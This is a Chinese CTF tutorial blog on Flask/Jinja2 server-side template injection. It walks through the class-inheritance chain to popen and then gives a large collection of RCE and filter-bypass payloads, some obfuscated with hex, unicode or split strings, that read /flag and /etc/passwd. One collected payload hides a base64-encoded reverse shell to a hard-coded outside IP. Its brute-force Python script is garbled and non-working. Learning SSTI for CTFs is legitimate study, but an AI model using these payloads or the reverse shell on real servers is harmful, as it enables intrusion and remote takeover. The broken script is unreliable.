什么是SSTI?
SSTI是一种发生在服务器端模板中的漏洞。当用户的输入返回时会经过一个模板渲染,SSTI漏洞就是恶意用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。
服务器的模板又很多种,不同的语言会有不同的模板框架。
所以SSTI并不只有一种方式,我们平常多遇到的是python的模板
SSTI的形成原因
其实成因很简单,就是写后端代码的程序员偷懒,用render_template_string解析字符串代替了render_template渲染。而render_template_string渲染时会把内容当作python代码执行,比如4*4会被执行成16
做题的时候可以通过wapplayzer插件,查看框架和语言,一般是Flask和Python的话就是ssti没跑了

SSTI的具体实现方法
这里以python的模板为例
在这些框架中存在很多类,包括可以做到RCE的类。
所以我们的目标就是要通过模板操作到可以进行RCE的类
那么我们输入什么才会被当成模板注入呢?
因为模板渲染的时候会把"{{}}“包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用 {{恶意代码}} 的形式来进行SSTI
(所以{{2*2}}也被用作检测SSTI漏洞的方法)
接下来就是SSTI的具体实现方法了
这里借用一下我之前写过的博客BaseCTF_web_week3-CSDN博客
这里是一些魔术方法
1
2
3
4
5
6
|
__class__ :返回类型所属的对象。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
|

假设我们知道一个当前类,通过**__class__返回对象**,然后用**__mro__或者__base__返回父类**,直到父类为object类(所有的类都是object类的子类),再用**__sublasses__返回所有的子类**,这样就能找到存在rce的类啦!
以下是一些当前类的表示方式
1
2
3
4
5
6
7
8
9
|
''.__class__
().__class__
[].__class__
"".__class__
{}.__class__
|

(ctfshow_web361)


所以我们可以构造{{’’.class.base.subclasses}}查看所有类


可以进行rce的类是——“os._wrap_close”,所以我们需要找到这个类的序号
可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132
也可以用这个脚本,记得改一下pyload和url
1
2
3
4
5
6
7
8
9
10
11
|
import requests
url =input('请输入URL链接:)
for i in range(500):
data ={"name":
"{{O)._class_._base_.__subclasses_()["+str(i)+"]._init_._globals_['__builtins_1}}"]
try:
response = requests.posf(url,data=data)
#print(response.text)
if response.status_code == 200:if 'popen' in response.text:print(i)
except:
pass
|



之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()
构造
1
|
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}
|
这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen
popen后的括号里直接写命令,不需要system


这样我们就成功通过SSTI漏洞进行RCE了
SSTI的绕过姿势
上面上述的是最最基本的一种实现方法,现在是一些绕过手法
绕过数字
上述pyload用到了132,ban了数字之后我们有两种解决方案
1.是采用另一种pylaod
1
2
3
|
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
采用了builtins模块,比用os_wrap_close更加方便
|



2.采用全角数字
0123456789(不知道原理)
1
|
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
|



用request绕过
request可以获得请求的相关信息,通过这个特性可以做到绕过(其实用’‘也可以做到绕过)
1
2
3
4
|
例如
{{''.__class__}} ==> {{''[request.args.t1]}}&t1=__class__
__class__ ==> _''_cla''ss_''_
|

过滤 ’ ‘
拿之前讲过的__builtins__举例
1
|
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
|

如果ban了’’,就说明__builtins__和__import__的使用会被限制,这里就可以用request.args.x(x为get的参数)来避免’‘被检测到
pyload如下
1
|
{{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()
|



同理,也可以用于绕过其他字符
值得一提的是,如果args被ban了,request.args.x可以替换成request[‘values’][‘x’]的形式

如果这时 ’ ‘ 也被ban了,可以用request.cookies.x代替,不过上传参数要传在cookie中
(注意cookies这里需要加 ; )


chr()拼接解决request被ban
可以用chr()拼接,可是我们不能直接使用chr(),要用之前的方法通过继承链走到chr()
1
2
3
4
5
6
|
一些chr()的构造方式
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
|

然后用字符串chr接收,之后就可以用chr()函数了
1
2
3
4
5
|
BaseCTF week4 复读机wp(为了观感把绕过用的''去掉了)
{% set chr= ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen'](cmd)['read']())%}
|

. 绕过
可以用atter()绕过,也可以用[ ]绕过(这里不做展示)
1
|
|attr("__class__")就相当于.__class__
|

可以借鉴一下这个pyload
{{lipsum|attr(”globals")|attr(“get”)(“os”)|attr(“popen”)(“whoami”)|attr(“read”)()}}
这里这个pyload是改自
{{lipsum.globals.get(“os”).popen(‘whoami’).read()}}
这里值得注意的是(不用get)
{{lipsum.globals.os.popen(‘whoami’).read()}}是成立的
但是,
{{lipsum|attr("globals")|attr**(“get”)(“os”)**|attr(“popen”)(“whoami”)|attr(“read”)()}}
如果不加get,就会失败


{{绕过
不能用{{}},可以用{%%}代替,不过{%%}没有显示,要加一个print


好用的pyload!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("ls /")|attr("\u0072\u0065\u0061\u0064")()}}
{{joiner["__init__"]["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]
()}}
{{namespace["__init__"]["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]
()}}
{{url_for["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]
()}}
{{joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("ls /")["\x72\x65\x61\x64"]()}}
{{joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("t""ac /f*")["\x72\x65\x61\x64"]()}}
没ban request 可以考虑用这个
{{lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()}}&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
贴一下别人的武器库
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#config
'''
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),
那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
'''
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
#全局变量
'''
flask提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键;
jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__键
g对象全称flask.g,它会保存当前的全局变量。g.pop 则是 g 对象的一个方法,
其用途是从 g 对象里移除指定键对应的值并返回该值。
其它详见https://flask.palletsprojects.com/zh-cn/stable/templating/
'''
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
#undefined类
'''
在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该
报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了**Undefined**类型,渲染结果显示为
<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的**Undefined**类型。
'''
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
{{g|attr('pop')|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')()}}
{{g['pop']['__globals__']['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls')['read']()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}
{{g['pop']['\x5f\x5fglob'+'als\x5f\x5f']['\x5f\x5fbuil'+'tins\x5f\x5f']['\x5f\x5fimp'+'ort\x5f\x5f']('o'+'s')['po'+'pen']('ls')['read']()}}
{{g['pop']['__glob'+'als__']['__buil'+'tins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls')['read']()}}
{{request|attr('appli'+'cation')|attr('\x5f\x5fglo'+'bals\x5f\x5f')|attr('\x5f\x5fget'+'item\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fget'+'item\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('o'+'s')|attr('pop'+'en')('cat /etc/passwd')|attr('re'+'ad')()}}
还有收集的wp的payload
{{((sbwaf|attr('__eq__'))['__g''lobals__']['s''ys']['modules']['o''s']['po''pen']('bash${IFS}-c${IFS}\'{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjIwMS43OS4yMDgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}\''))['read']()}}
|
SSTI终极工具——fenjing
全自动化绕过,只需要直接执行命令即可(仅支持http)


kali中安装

使用
1
2
3
4
|
python -m fenjing scan --url 'http://...'
打开网站ui
python -m fenjing webui
|

讲的比较简单建议看下方文章
Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 - 🔰雨苁ℒ🔰
不过工具归工具,还是要有一些硬实力的,也遇到过fenjing找不出漏洞点的情况
小结
忙前忙后总算写完了这篇博客,还有很多绕过姿势没讲,不过有了fenjing,更加难的绕过应该都能迎刃而解